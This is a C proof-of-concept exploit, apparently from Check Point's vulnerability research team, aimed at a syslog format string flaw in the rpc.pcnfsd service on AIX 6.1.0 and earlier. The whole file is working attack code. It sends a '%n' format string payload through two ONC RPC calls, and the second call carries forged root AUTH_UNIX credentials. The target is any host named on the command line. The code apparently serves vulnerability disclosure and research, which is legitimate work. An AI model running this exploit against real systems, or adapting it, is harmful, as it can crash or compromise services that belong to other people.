/*************************************************************************
* Check Point Software Technologies - Vulnerability Discovery Team (VDT) *
* Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com> *
* *
* rpc.pcnfsd syslog format string vulnerability *
*************************************************************************/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>
#define PCNFSD_PROG 150001
#define PCNFSD_VERS 1
#define PCNFSD_PR_INIT 2
#define PCNFSD_PR_START 3
struct cm_send {
char *s1;
char *s2;
};
struct cm_send2 {
char *s1;
char *s2;
};
struct cm_reply {
int i;
};
bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);
return (TRUE);
}
bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);
return (TRUE);
}
bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
if(!xdr_int(xdrs, &objp->i))
return (FALSE);
return (TRUE);
}
int
main(int argc, char *argv[])
{
long ret, offset;
int len, x, y, i;
char *hostname, *b;
CLIENT *cl;
struct cm_send send;
struct cm_send2 send2;
struct cm_reply reply;
struct timeval tm = { 10, 0 };
enum clnt_stat stat;
printf("-= rpc.pcnfsd remote format string exploit, tested against AIX 6.1.0 and lower =-\n");
printf("-= Check Point Software Technologies - Vulnerability Discovery Team (VDT) =-\n");
printf("-= Rodrigo Rubira Branco <rbranco *noSPAM* checkpoint.com> =-\n\n");
if(argc < 2) {
printf("Usage: %s [hostname]\n", argv[0]);
exit(1);
}
hostname = argv[1];
send.s1 = "AAAA%n%n%n%n%n%n%n%n%n"; // Create the dir on /var/spool/pcnfs
send.s2 = "";
send2.s1 = "AAAA%n%n%n%n%n%n%n%n%n";// Call the dir to trigger fmt bug
send2.s2 = "";
printf("\nSending PCNFSD_PR_INIT to the server ... ");
if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}
stat=clnt_call(cl, PCNFSD_PR_INIT, xdr_cm_send, (caddr_t) &send,
xdr_cm_reply, (caddr_t) &reply, tm);
clnt_destroy(cl);
printf("done!\n");
printf("Sending PCNFSD_PR_START procedure ... ");
if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
stat=clnt_call(cl, PCNFSD_PR_START, xdr_cm_send2, (caddr_t) &send2,
xdr_cm_reply, (caddr_t) &reply, tm);
printf("done!\n");
clnt_destroy(cl);
}
